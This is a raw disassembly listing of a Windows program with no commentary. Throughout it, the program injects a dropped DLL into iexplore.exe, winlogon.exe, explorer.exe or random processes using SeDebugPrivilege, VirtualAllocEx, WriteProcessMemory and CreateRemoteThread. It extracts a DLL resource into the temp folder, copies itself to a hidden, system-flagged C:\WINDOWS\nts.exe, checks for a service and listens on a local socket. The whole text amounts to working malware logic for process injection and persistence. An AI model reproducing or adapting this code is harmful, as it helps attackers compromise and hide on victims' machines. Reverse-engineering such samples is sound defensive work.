--------------------------------------------------------------------------- loc_405C2C: ; CODE XREF: sub_405BE3+28j call sub_404F2A cmp eax, 0FFFFFFFFh jnz short loc_405C39 xor ebx, ebx inc ebx loc_405C39: ; CODE XREF: sub_405BE3+42j ; sub_405BE3+47j ... test ebx, ebx jz short loc_405C60 call sub_404162 push offset asc_40E58D ; "**" call sub_405B2A pop ecx test eax, eax jz short loc_405C59 push 0 call sub_4079E0 pop ecx loc_405C59: ; CODE XREF: sub_405BE3+6Cj call sub_40410E jmp short loc_405C78 ; --------------------------------------------------------------------------- loc_405C60: ; CODE XREF: sub_405BE3+58j push 1F4h call dword_411D00 ; Sleep jmp short loc_405C78 ; --------------------------------------------------------------------------- loc_405C6D: ; CODE XREF: sub_405BE3+1Fj push 2710h call dword_411D00 ; Sleep loc_405C78: ; CODE XREF: sub_405BE3+7Bj ; sub_405BE3+88j jmp loc_405BF0 sub_405BE3 endp ; --------------------------------------------------------------------------- pop esi pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405C80 proc near ; DATA XREF: sub_405CF6+76o ; DMN1:00446CEDo var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push eax push ebx push esi mov eax, [ebp+arg_0] mov esi, eax push dword_41296C call dword_411D50 ; ResetEvent loc_405C97: ; CODE XREF: sub_405C80+4Bj mov [ebp+var_1], 0 push 1 lea eax, [ebp+var_1] push eax push esi call sub_4016DC add esp, 0Ch mov ebx, eax test ebx, ebx jle short loc_405CCD cmp [ebp+var_1], 2Ah jnz short loc_405CCD push 1 lea eax, [ebp+var_1] push eax push esi call sub_401787 add esp, 0Ch mov ebx, eax test ebx, ebx jle short loc_405CCD jmp short loc_405C97 ; --------------------------------------------------------------------------- loc_405CCD: ; CODE XREF: sub_405C80+2Ej ; sub_405C80+34j ... push esi call sub_4014C2 pop ecx push offset aDlltestthreadP ; "DLLTestThread: pulsing...\n" call nullsub_2 pop ecx push dword_41296C call dword_411D44 ; SetEvent call sub_4079A0 pop esi pop ebx mov esp, ebp pop ebp retn sub_405C80 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405CF6 proc near ; DATA XREF: sub_406422+11o ; sub_4473A3+11o var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 call sub_401359 mov dword_41104C, eax push offset aDlltestlistent ; "DLLTestListenThread: binding...\n" call nullsub_2 pop ecx push 15B7h push 100007Fh push dword_41104C call sub_4015B7 add esp, 0Ch test eax, eax jz short loc_405D96 push offset aDlltestliste_0 ; "DLLTestListenThread: listening...\n" call nullsub_2 pop ecx push dword_41104C call sub_401607 pop ecx test eax, eax jz short loc_405D96 push offset aDlltestliste_1 ; "DLLTestListenThread: accepting...\n" call nullsub_2 pop ecx push dword_41104C call sub_401621 pop ecx mov [ebp+var_4], eax test eax, eax jz short loc_405D96 mov eax, [ebp+var_4] push eax push 0 push offset sub_405C80 call sub_407910 add esp, 0Ch mov [ebp+var_8], eax push eax call dword_411CF8 ; CloseHandle push dword_41104C call sub_4014C2 pop ecx and dword_41104C, 0 loc_405D96: ; CODE XREF: sub_405CF6+35j ; sub_405CF6+50j ... cmp dword_41104C, 0 jz short loc_405DAB push dword_41104C call sub_4014C2 pop ecx loc_405DAB: ; CODE XREF: sub_405CF6+A7j push offset aDlltestliste_2 ; "DLLTestListenThread: done...\n" call nullsub_2 pop ecx call sub_4079A0 mov esp, ebp pop ebp retn sub_405CF6 endp ; =============== S U B R O U T I N E ======================================= sub_405DBF proc near ; CODE XREF: sub_40637D+14p arg_0 = dword ptr 4 push ebx push esi mov ebx, [esp+8+arg_0] mov esi, [ebx] jmp short loc_405DD1 ; --------------------------------------------------------------------------- loc_405DC9: ; CODE XREF: sub_405DBF+14j call dword_411CC4 ; GetTickCount mov esi, eax loc_405DD1: ; CODE XREF: sub_405DBF+8j test esi, esi jz short loc_405DC9 mov eax, esi mov edx, 41C64E6Dh mul edx lea esi, [eax+3039h] mov [ebx], esi mov eax, esi shr eax, 10h and eax, 7FFFh pop esi pop ebx retn sub_405DBF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405DF3 proc near ; CODE XREF: sub_405EFE+9Ep ; sub_405EFE+109p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi mov ebx, [ebp+arg_0] cmp dword_411054, 0 jz short loc_405E1B push dword_411054 call dword_411CF8 ; CloseHandle and dword_411054, 0 loc_405E1B: ; CODE XREF: sub_405DF3+13j push 0Ah push offset a8001 ; "#8001" push 0 call dword_411D54 ; FindResourceA mov esi, eax test eax, eax jz loc_405EF7 push esi push 0 call dword_411D58 ; SizeofResource mov [ebp+var_4], eax push [ebp+var_4] push offset aResourceHereSi ; "resource here, size: %i\n" call nullsub_2 pop ecx pop ecx push esi push 0 call dword_411D5C ; LoadResource mov [ebp+var_8], eax test eax, eax jz loc_405EF7 push [ebp+var_8] call dword_411D60 ; LockResource mov [ebp+var_C], eax test eax, eax jz loc_405EF7 push 80h push ebx call dword_411D28 ; SetFileAttributesA push offset aWb ; "wb+" push ebx call sub_407300 pop ecx pop ecx mov edi, eax test edi, edi jnz short loc_405EA7 push ebx push offset aFileSNotCreate ; "file <%s> NOT created\n" call nullsub_2 pop ecx pop ecx xor eax, eax jmp short loc_405EF7 ; --------------------------------------------------------------------------- loc_405EA7: ; CODE XREF: sub_405DF3+A1j push ebx push offset aFileSCreated ; "file <%s> created\n" call nullsub_2 pop ecx pop ecx push edi push 1 mov eax, [ebp+var_4] push eax push [ebp+var_C] call sub_407760 add esp, 10h mov [ebp+var_10], eax push edi call sub_407560 pop ecx push [ebp+var_10] push ebx push offset aFileSWrittenWs ; "file <%s> written, wsz=%i\n" call nullsub_2 add esp, 0Ch push 7 push ebx call dword_411D28 ; SetFileAttributesA cmp [ebp+var_10], 1 jz short loc_405EF4 xor eax, eax jmp short loc_405EF7 ; --------------------------------------------------------------------------- loc_405EF4: ; CODE XREF: sub_405DF3+FBj xor eax, eax inc eax loc_405EF7: ; CODE XREF: sub_405DF3+3Bj ; sub_405DF3+6Aj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_405DF3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405EFE proc near ; CODE XREF: sub_406485:loc_406551p var_1004 = dword ptr -1004h var_1000 = byte ptr -1000h push ebp mov ebp, esp mov eax, 1004h call sub_407730 cmp dword_411050, 0 jz short loc_405F54 push offset aR ; "r" push offset dword_412970 call sub_407300 pop ecx pop ecx mov [ebp+var_1004], eax test eax, eax jz short loc_405F54 push offset dword_412970 push offset aOldDllS ; "old DLL: <%s>\n" call nullsub_2 pop ecx pop ecx push [ebp+var_1004] call sub_407560 pop ecx xor eax, eax inc eax jmp loc_40603E ; --------------------------------------------------------------------------- loc_405F54: ; CODE XREF: sub_405EFE+14j ; sub_405EFE+2Fj push offset dword_412970 push 0FFFh call dword_411D1C ; GetTempPathA push offset aNts_ ; "nts_" push offset dword_412970 call sub_407690 pop ecx pop ecx push offset a000_tmp ; "000.tmp" push offset dword_412970 call sub_407690 pop ecx pop ecx push offset dword_412970 push offset aCheckingDllS ; "checking DLL: <%s>\n" call nullsub_2 pop ecx pop ecx push offset dword_412970 call sub_405DF3 pop ecx test eax, eax jz short loc_405FC6 push offset dword_412970 push offset aDllFoundS ; " DLL found: <%s>\n" call nullsub_2 pop ecx pop ecx mov dword_411050, 1 xor eax, eax inc eax jmp short loc_40603E ; --------------------------------------------------------------------------- loc_405FC6: ; CODE XREF: sub_405EFE+A6j lea eax, [ebp+var_1000] push eax push 0FFFh call dword_411D1C ; GetTempPathA push offset dword_412970 push 0 push offset aNts_ ; "nts_" lea eax, [ebp+var_1000] push eax call dword_411D20 ; GetTempFileNameA push offset dword_412970 push offset aTryingDllS ; "trying DLL: <%s>\n" call nullsub_2 pop ecx pop ecx push offset dword_412970 call sub_405DF3 pop ecx test eax, eax jz short loc_406031 push offset dword_412970 push offset aDllOkS ; "DLL ok: <%s>\n" call nullsub_2 pop ecx pop ecx mov dword_411050, 1 xor eax, eax inc eax jmp short loc_40603E ; --------------------------------------------------------------------------- loc_406031: ; CODE XREF: sub_405EFE+111j push offset aDllNotExtracte ; "DLL not extracted.\n" call nullsub_2 pop ecx xor eax, eax loc_40603E: ; CODE XREF: sub_405EFE+51j ; sub_405EFE+C6j ... mov esp, ebp pop ebp retn sub_405EFE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406042 proc near ; CODE XREF: sub_4061E6+6p ; sub_4062AE+12p ... var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 20h lea eax, [ebp+var_1C] push eax push offset aSedebugprivile ; "SeDebugPrivilege" push 0 call dword_411E78 ; LookupPrivilegeValueA test eax, eax jz short loc_4060B8 call dword_411D64 ; GetCurrentProcess lea edx, [ebp+var_14] push edx push 28h push eax call dword_411E7C ; OpenProcessToken test eax, eax jz short loc_4060B8 mov [ebp+var_10], 1 mov eax, [ebp+var_1C] mov edx, [ebp+var_18] mov [ebp+var_C], eax mov [ebp+var_8], edx mov [ebp+var_4], 2 lea eax, [ebp+var_20] push eax lea eax, [ebp+var_10] push eax push 10h lea eax, [ebp+var_10] push eax push 0 push [ebp+var_14] call dword_411E80 ; AdjustTokenPrivileges call dword_411CE8 ; RtlGetLastWin32Error test eax, eax jz short loc_4060B5 xor eax, eax jmp short loc_4060B8 ; --------------------------------------------------------------------------- loc_4060B5: ; CODE XREF: sub_406042+6Dj xor eax, eax inc eax loc_4060B8: ; CODE XREF: sub_406042+19j ; sub_406042+30j ... mov esp, ebp pop ebp retn sub_406042 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4060BC proc near ; CODE XREF: sub_4061E6+34p var_1008 = byte ptr -1008h var_1004 = byte ptr -1004h var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1008h call sub_407730 push ebx push esi push edi push 40h push 1000h push 1000h push 0 push [ebp+arg_0] call dword_411D68 ; VirtualAllocEx mov esi, eax test eax, eax jz loc_4061DF push offset aVirtualallocex ; "VirtualAllocEx() ok\n" call nullsub_2 pop ecx lea ebx, [ebp+var_1000] mov byte ptr [ebx], 68h inc ebx mov eax, esi add eax, 50h mov [ebx], eax add ebx, 4 mov word ptr [ebx], 15FFh add ebx, 2 mov eax, esi add eax, 40h mov [ebx], eax add ebx, 4 mov byte ptr [ebx], 50h inc ebx mov word ptr [ebx], 15FFh add ebx, 2 mov eax, esi add eax, 44h mov [ebx], eax push offset aKernel32_dll ; "kernel32.dll" call dword_411D6C ; GetModuleHandleA mov edi, eax lea ebx, [ebp+var_1000] add ebx, 40h push offset aLoadlibrarya ; "LoadLibraryA" push edi call dword_411D70 ; GetProcAddress mov [ebx], eax add ebx, 4 push offset aExitthread ; "ExitThread" push edi call dword_411D70 ; GetProcAddress mov [ebx], eax add ebx, 4 push offset aGetlasterror ; "GetLastError" push edi call dword_411D70 ; GetProcAddress mov [ebx], eax lea ebx, [ebp+var_1000] add ebx, 50h push [ebp+arg_4] push ebx call sub_407670 pop ecx pop ecx lea eax, [ebp+var_1004] push eax push 1000h lea eax, [ebp+var_1000] push eax push esi push [ebp+arg_0] call dword_411D74 ; WriteProcessMemory test eax, eax jz short loc_4061DF push offset aWriteprocessme ; "WriteProcessMemory() ok\n" call nullsub_2 pop ecx push [ebp+arg_4] push offset aS ; "<%s>\n" call nullsub_2 pop ecx pop ecx lea eax, [ebp+var_1008] push eax push 0 push 0 push esi push 0 push 0 push [ebp+arg_0] call dword_411D78 ; CreateRemoteThread loc_4061DF: ; CODE XREF: sub_4060BC+2Bj ; sub_4060BC+EEj pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4060BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4061E6 proc near ; CODE XREF: sub_4062AE+6Fp ; sub_40637D+5Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push eax push ebx push esi call sub_406042 push [ebp+arg_0] push 0 push 1F0FFFh call dword_411D7C ; OpenProcess mov ebx, eax push offset aProcessOpened_ ; "process opened.\n" call nullsub_2 pop ecx test ebx, ebx jz loc_4062A6 push [ebp+arg_4] push ebx call sub_4060BC pop ecx pop ecx mov esi, eax test esi, esi jz short loc_40629F push esi push offset aThreadInjected ; "thread injected (%i).\n" call nullsub_2 pop ecx pop ecx push 0FFFFFFFFh push esi call dword_411D34 ; WaitForSingleObject lea eax, [ebp+var_4] push eax push esi call dword_411D80 ; GetExitCodeThread push [ebp+var_4] push offset aThreadComplete ; "thread complete (%i).\n" call nullsub_2 pop ecx pop ecx push esi call dword_411CF8 ; CloseHandle push ebx call dword_411CF8 ; CloseHandle cmp [ebp+var_4], 20h jnb short loc_40626F xor eax, eax jmp short loc_4062A8 ; --------------------------------------------------------------------------- loc_40626F: ; CODE XREF: sub_4061E6+83j push [ebp+arg_4] push offset aDllInjected ; "DLL injected!\n" call nullsub_2 pop ecx pop ecx cmp dword_411054, 0 jz short loc_40629A push dword_411054 call dword_411CF8 ; CloseHandle and dword_411054, 0 loc_40629A: ; CODE XREF: sub_4061E6+9Fj xor eax, eax inc eax jmp short loc_4062A8 ; --------------------------------------------------------------------------- loc_40629F: ; CODE XREF: sub_4061E6+3Fj push ebx call dword_411CF8 ; CloseHandle loc_4062A6: ; CODE XREF: sub_4061E6+2Aj xor eax, eax loc_4062A8: ; CODE XREF: sub_4061E6+87j ; sub_4061E6+B7j pop esi pop ebx mov esp, ebp pop ebp retn sub_4061E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4062AE proc near ; CODE XREF: sub_406485+E6p var_128 = dword ptr -128h var_120 = dword ptr -120h var_104 = byte ptr -104h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 128h push ebx push esi push edi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_4] call sub_406042 push 0 push 2 call sub_406C9C ; CreateToolhelp32Snapshot mov edi, eax test eax, eax jz loc_406376 mov [ebp+var_128], 128h lea eax, [ebp+var_128] push eax push edi call sub_406CA2 ; Process32First loc_4062EF: ; CODE XREF: sub_4062AE+BDj lea eax, [ebp+var_104] push eax push ebx call dword_411D38 ; lstrcmpi test eax, eax jnz short loc_40635C push esi lea eax, [ebp+var_104] push eax push offset aTryingSWithS ; "trying <%s> with <%s>\n" call nullsub_2 add esp, 0Ch push esi push [ebp+var_120] call sub_4061E6 pop ecx pop ecx test eax, eax jz short loc_406347 lea eax, [ebp+var_104] push eax push offset aS ; "<%s>\n" call nullsub_2 pop ecx pop ecx push edi call dword_411CF8 ; CloseHandle xor eax, eax inc eax jmp short loc_406376 ; --------------------------------------------------------------------------- loc_406347: ; CODE XREF: sub_4062AE+78j push esi lea eax, [ebp+var_104] push eax push offset aTryingSWithSFa ; "trying <%s> with <%s> failed\n" call nullsub_2 add esp, 0Ch loc_40635C: ; CODE XREF: sub_4062AE+51j lea eax, [ebp+var_128] push eax push edi call sub_406CA8 ; Process32Next test eax, eax jnz short loc_4062EF push edi call dword_411CF8 ; CloseHandle xor eax, eax loc_406376: ; CODE XREF: sub_4062AE+24j ; sub_4062AE+97j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4062AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40637D proc near ; CODE XREF: sub_406485+FBp var_128 = dword ptr -128h var_120 = dword ptr -120h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 128h push ebx push esi push edi mov ebx, [ebp+arg_0] push offset dword_411058 call sub_405DBF pop ecx mov ecx, 100h cdq idiv ecx lea esi, [edx+1] call sub_406042 jmp short loc_406415 ; --------------------------------------------------------------------------- loc_4063A9: ; CODE XREF: sub_40637D+9Aj push 0 push 2 call sub_406C9C ; CreateToolhelp32Snapshot mov edi, eax test eax, eax jz short loc_40641B mov [ebp+var_128], 128h lea eax, [ebp+var_128] push eax push edi call sub_406CA2 ; Process32First loc_4063CF: ; CODE XREF: sub_40637D+8Fj dec esi test esi, esi jnz short loc_4063FD push ebx push [ebp+var_120] call sub_4061E6 pop ecx pop ecx test eax, eax jz short loc_4063F2 push edi call dword_411CF8 ; CloseHandle xor eax, eax inc eax jmp short loc_40641B ; --------------------------------------------------------------------------- loc_4063F2: ; CODE XREF: sub_40637D+67j push edi call dword_411CF8 ; CloseHandle xor eax, eax jmp short loc_40641B ; --------------------------------------------------------------------------- loc_4063FD: ; CODE XREF: sub_40637D+55j lea eax, [ebp+var_128] push eax push edi call sub_406CA8 ; Process32Next test eax, eax jnz short loc_4063CF push edi call dword_411CF8 ; CloseHandle loc_406415: ; CODE XREF: sub_40637D+2Aj test esi, esi jnz short loc_4063A9 xor eax, eax loc_40641B: ; CODE XREF: sub_40637D+39j ; sub_40637D+73j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40637D endp ; =============== S U B R O U T I N E ======================================= sub_406422 proc near ; CODE XREF: sub_406485+45p ; sub_406485+115p push ebx push dword_41296C call dword_411D50 ; ResetEvent push 0 push 0 push offset sub_405CF6 call sub_407910 add esp, 0Ch mov ebx, eax push 2710h mov eax, ebx push eax call dword_411D34 ; WaitForSingleObject test eax, eax jz short loc_406477 push dword_41104C call sub_4014C2 pop ecx mov dword_41104C, 1 mov eax, ebx push eax call dword_411CF8 ; CloseHandle xor eax, eax jmp short loc_406483 ; --------------------------------------------------------------------------- loc_406477: ; CODE XREF: sub_406422+30j mov eax, ebx push eax call dword_411CF8 ; CloseHandle xor eax, eax inc eax loc_406483: ; CODE XREF: sub_406422+53j pop ebx retn sub_406422 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406485 proc near ; DATA XREF: sub_406677+18o ; DMN1:00447610o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi call sub_4036F6 test eax, eax jnz loc_40666B call sub_403658 test eax, eax jnz loc_40666B call sub_406042 push dword_41296C call dword_411D50 ; ResetEvent push 3E8h push dword_41296C call dword_411D34 ; WaitForSingleObject call sub_406422 test eax, eax jz short loc_406503 push 3E8h call dword_411D00 ; Sleep push offset aOldDllFoundWai ; "old DLL found; waiting for <DLL dies> e"... call nullsub_2 pop ecx push 0FFFFFFFFh push dword_41296C call dword_411D34 ; WaitForSingleObject push dword_41296C call dword_411D50 ; ResetEvent loc_406503: ; CODE XREF: sub_406485+4Cj and [ebp+var_C], 0 mov [ebp+var_8], 4 mov esi, [ebp+var_C] loc_406511: ; CODE XREF: sub_406485+1BAj push dword_41296C call dword_411D50 ; ResetEvent cmp esi, 2 ja short loc_40654D test esi, esi jz short loc_406532 cmp esi, 1 jz short loc_40653B cmp esi, 2 jz short loc_406544 jmp short loc_406551 ; --------------------------------------------------------------------------- loc_406532: ; CODE XREF: sub_406485+9Fj mov [ebp+var_4], offset aIexplore_exe ; "iexplore.exe" jmp short loc_406551 ; --------------------------------------------------------------------------- loc_40653B: ; CODE XREF: sub_406485+A4j mov [ebp+var_4], offset aWinlogon_exe ; "winlogon.exe" jmp short loc_406551 ; --------------------------------------------------------------------------- loc_406544: ; CODE XREF: sub_406485+A9j mov [ebp+var_4], offset aExplorer_exe ; "explorer.exe" jmp short loc_406551 ; --------------------------------------------------------------------------- loc_40654D: ; CODE XREF: sub_406485+9Bj and [ebp+var_4], 0 loc_406551: ; CODE XREF: sub_406485+ABj ; sub_406485+B4j ... call sub_405EFE test eax, eax jz loc_406645 cmp esi, 2 ja short loc_406576 push offset dword_412970 push [ebp+var_4] call sub_4062AE pop ecx pop ecx mov ebx, eax jmp short loc_406591 ; --------------------------------------------------------------------------- loc_406576: ; CODE XREF: sub_406485+DCj mov edi, 64h loc_40657B: ; CODE XREF: sub_406485+10Aj push offset dword_412970 call sub_40637D pop ecx mov ebx, eax test ebx, ebx jnz short loc_406591 dec edi test edi, edi jg short loc_40657B loc_406591: ; CODE XREF: sub_406485+EFj ; sub_406485+105j inc esi test ebx, ebx jz loc_406618 call sub_406422 test eax, eax jz short loc_406618 push 3E8h call dword_411D00 ; Sleep push offset aWaitingForDllD ; "waiting for <DLL dies> event...\n" call nullsub_2 pop ecx jmp short loc_4065C8 ; --------------------------------------------------------------------------- loc_4065BB: ; CODE XREF: sub_406485+159j call sub_403658 test eax, eax jnz loc_40666B loc_4065C8: ; CODE XREF: sub_406485+134j push 2BCh push dword_41296C call dword_411D34 ; WaitForSingleObject cmp eax, 102h jz short loc_4065BB push dword_41296C call dword_411D50 ; ResetEvent mov esi, [ebp+var_C] call sub_403658 test eax, eax jz short loc_40660D push offset aDying ; "dying\n" call nullsub_2 pop ecx push 1 call sub_4079E0 pop ecx jmp short loc_40666B ; --------------------------------------------------------------------------- loc_40660D: ; CODE XREF: sub_406485+171j push offset aDllStopped___ ; "DLL stopped...\n" call nullsub_2 pop ecx loc_406618: ; CODE XREF: sub_406485+10Fj ; sub_406485+11Cj call sub_4036F6 test eax, eax jnz short loc_40666B cmp dword_411050, 0 jz short loc_40663C push offset dword_412970 call sub_407A90 pop ecx and dword_411050, 0 loc_40663C: ; CODE XREF: sub_406485+1A3j cmp esi, [ebp+var_8] jle loc_406511 loc_406645: ; CODE XREF: sub_406485+D3j push offset aInjectionthrea ; "InjectionThread complete\n" call nullsub_2 pop ecx cmp dword_411050, 0 jz short loc_40666B push offset dword_412970 call sub_407A90 pop ecx and dword_411050, 0 loc_40666B: ; CODE XREF: sub_406485+10j ; sub_406485+1Dj ... call sub_4079A0 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_406485 endp ; =============== S U B R O U T I N E ======================================= sub_406677 proc near ; DATA XREF: sub_405870+99o ; sub_4066F1+56Eo ... push ebx push 0 push 0 push 1 push 0 call dword_411D40 ; CreateEventA mov dword_41296C, eax push 0 push 0 push offset sub_406485 call sub_407910 add esp, 0Ch mov ebx, eax push 0FFFFFFFFh mov eax, ebx push eax call dword_411D34 ; WaitForSingleObject mov eax, ebx push eax call dword_411CF8 ; CloseHandle push 0 push 0 push offset sub_40356A call sub_407910 add esp, 0Ch push eax call dword_411CF8 ; CloseHandle push 1F4h call dword_411D00 ; Sleep push 0 push 0 push offset sub_404967 call sub_407910 add esp, 0Ch push 0FFFFFFFFh push eax call dword_411D34 ; WaitForSingleObject pop ebx retn sub_406677 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4066F1 proc near ; CODE XREF: sub_406C89+1p var_2004 = byte ptr -2004h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp mov eax, 2004h call sub_407730 push ebx push esi push edi and [ebp+var_4], 0 xor esi, esi mov off_412958, offset aNts ; "NTS" call sub_40103C call sub_401165 call sub_401097 push offset dword_413970 call dword_411CC8 ; InitializeCriticalSection call sub_401F8E mov dword_412934, eax call dword_411D90 ; GetCommandLineA push eax call sub_40122A pop ecx cmp dword_411000, 4 jnz loc_40682F push offset aUpdate_0 ; "*update" push dword_4128A8 call dword_411D38 ; lstrcmpi test eax, eax jnz loc_40682F call sub_403604 mov [ebp+var_8], eax call sub_404162 mov eax, dword_411018 push eax push [ebp+var_8] push offset aShutdownmutexc ; "ShutdownMutexCreate()=%i, h=%i\r\n" call nullsub_2 add esp, 0Ch push offset aWaiting10SecsS ; "waiting 10 secs -- shutdown...\r\n" call nullsub_2 pop ecx push 1770h call dword_411D00 ; Sleep call sub_40506C push 0FA0h call dword_411D00 ; Sleep call sub_40506C call sub_403685 and [ebp+var_C], 0 push dword_4128A4 push dword_4128B0 push dword_4128AC push offset aNewSOldSSelfS ; "new=<%s>, old=<%s>, self=<%s>\r\n" call nullsub_2 add esp, 10h lea eax, [ebp+var_C] push eax push 1 push 0 push dword_4128AC call sub_403723 add esp, 10h test eax, eax jnz short loc_406828 push 0 push 1 push 0 push dword_4128B0 call sub_403723 add esp, 10h test eax, eax jnz short loc_406828 push 0 push 1 push 0 push dword_4128A4 call sub_403723 add esp, 10h test eax, eax jz short loc_40682F loc_406828: ; CODE XREF: sub_4066F1+105j ; sub_4066F1+11Dj xor eax, eax jmp loc_406C82 ; --------------------------------------------------------------------------- loc_40682F: ; CODE XREF: sub_4066F1+58j ; sub_4066F1+71j ... call sub_40410E test eax, eax jz short loc_40683F xor eax, eax jmp loc_406C82 ; --------------------------------------------------------------------------- loc_40683F: ; CODE XREF: sub_4066F1+145j push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe" push dword_4128A4 call dword_411D38 ; lstrcmpi test eax, eax jz loc_406922 push offset aCopying___ ; "copying...\n" call nullsub_2 pop ecx push 80h push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe" call dword_411D28 ; SetFileAttributesA push 0 push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe" push dword_4128A4 call dword_411D24 ; CopyFileA test eax, eax jz loc_406914 push 7 push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe" call dword_411D28 ; SetFileAttributesA lea edi, [ebp+var_2004] mov byte ptr [edi], 22h inc edi push dword_4128A4 push edi call sub_407670 pop ecx pop ecx push dword_4128A4 call sub_407650 pop ecx add edi, eax mov byte ptr [edi], 22h inc edi mov byte ptr [edi], 0 inc edi lea eax, [ebp+var_2004] push eax push offset aCmdlineS ; "cmdline: <%s>\n" call nullsub_2 pop ecx pop ecx call sub_404162 lea eax, [ebp+var_2004] push eax call sub_405B2A pop ecx test eax, eax jz short loc_4068F9 xor eax, eax jmp loc_406C82 ; --------------------------------------------------------------------------- loc_4068F9: ; CODE XREF: sub_4066F1+1FFj push offset aCreateprocessF ; "CreateProcess() failed %%-(\n" call nullsub_2 pop ecx call sub_40410E test eax, eax jz short loc_40691F xor eax, eax jmp loc_406C82 ; --------------------------------------------------------------------------- loc_406914: ; CODE XREF: sub_4066F1+197j push offset aCopyingFailed ; "copying failed %%-(\n" call nullsub_2 pop ecx loc_40691F: ; CODE XREF: sub_4066F1+21Aj xor esi, esi inc esi loc_406922: ; CODE XREF: sub_4066F1+161j call sub_402296 call sub_4057FF push 0 push 0 call sub_4023DC pop ecx pop ecx mov dword_411004, eax push offset aInitializingWi ; "initializing winsock library...\n" call nullsub_2 pop ecx call sub_4012EC cmp dword_411000, 1 jle loc_4069F3 mov eax, dword_4128A8 cmp byte ptr [eax], 2Ah jz loc_4069F3 push 80h push dword_4128A8 call dword_411D28 ; SetFileAttributesA push dword_4128A8 call dword_411D4C ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_4069D7 push dword_4128A8 push offset aRemovingS ; "removing: <%s>\n" call nullsub_2 pop ecx pop ecx mov edi, 0Ah jmp short loc_4069D0 ; --------------------------------------------------------------------------- loc_4069A4: ; CODE XREF: sub_4066F1+2E4j push 80h push dword_4128A8 call dword_411D28 ; SetFileAttributesA push dword_4128A8 call dword_411D18 ; DeleteFileA test eax, eax jnz short loc_4069D7 push 3E8h call dword_411D00 ; Sleep loc_4069D0: ; CODE XREF: sub_4066F1+2B1j dec edi mov eax, edi test eax, eax jnz short loc_4069A4 loc_4069D7: ; CODE XREF: sub_4066F1+298j ; sub_4066F1+2D2j push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe" push dword_4128A4 call dword_411D38 ; lstrcmpi test eax, eax jnz short loc_4069F3 mov [ebp+var_4], 1 loc_4069F3: ; CODE XREF: sub_4066F1+262j ; sub_4066F1+270j ... push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe" push dword_4128A4 call dword_411D38 ; lstrcmpi test eax, eax jnz short loc_406A51 push offset asc_40E58D ; "**" push dword_4128A8 call dword_411D38 ; lstrcmpi test eax, eax jnz short loc_406A51 push offset aWaiting___ ; "*** waiting...\n" call nullsub_2 pop ecx mov edi, 0Ah loc_406A2D: ; CODE XREF: sub_4066F1+353j call sub_404CB8 test eax, eax jz short loc_406A46 push 1F4h call dword_411D00 ; Sleep dec edi test edi, edi jnz short loc_406A2D loc_406A46: ; CODE XREF: sub_4066F1+343j push offset aWaitingComplet ; "*** waiting complete...\n" call nullsub_2 pop ecx loc_406A51: ; CODE XREF: sub_4066F1+315j ; sub_4066F1+32Aj call sub_404CB8 mov ebx, eax test ebx, ebx jnz short loc_406AAA push offset aNoRegisteredSe ; "no registered service, " call nullsub_2 pop ecx push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe" push dword_4128A4 call dword_411D38 ; lstrcmpi test eax, eax jnz short loc_406A93 mov [ebp+var_4], 1 push offset aRegisterItAndR ; "register it and restart\n" call nullsub_2 pop ecx jmp loc_406B34 ; --------------------------------------------------------------------------- loc_406A93: ; CODE XREF: sub_4066F1+389j push offset aDonTRegisterIt ; "DON'T register it\n" call nullsub_2 pop ecx and [ebp+var_4], 0 xor esi, esi inc esi jmp loc_406B34 ; --------------------------------------------------------------------------- loc_406AAA: ; CODE XREF: sub_4066F1+369j push offset aRegisteredServ ; "registered service is here...\n" call nullsub_2 pop ecx call sub_404D02 test eax, eax jz short loc_406AC5 xor eax, eax jmp loc_406C82 ; --------------------------------------------------------------------------- loc_406AC5: ; CODE XREF: sub_4066F1+3CBj push offset aRegisteredSe_0 ; "registered service is not running.\n" call nullsub_2 pop ecx call sub_4040C3 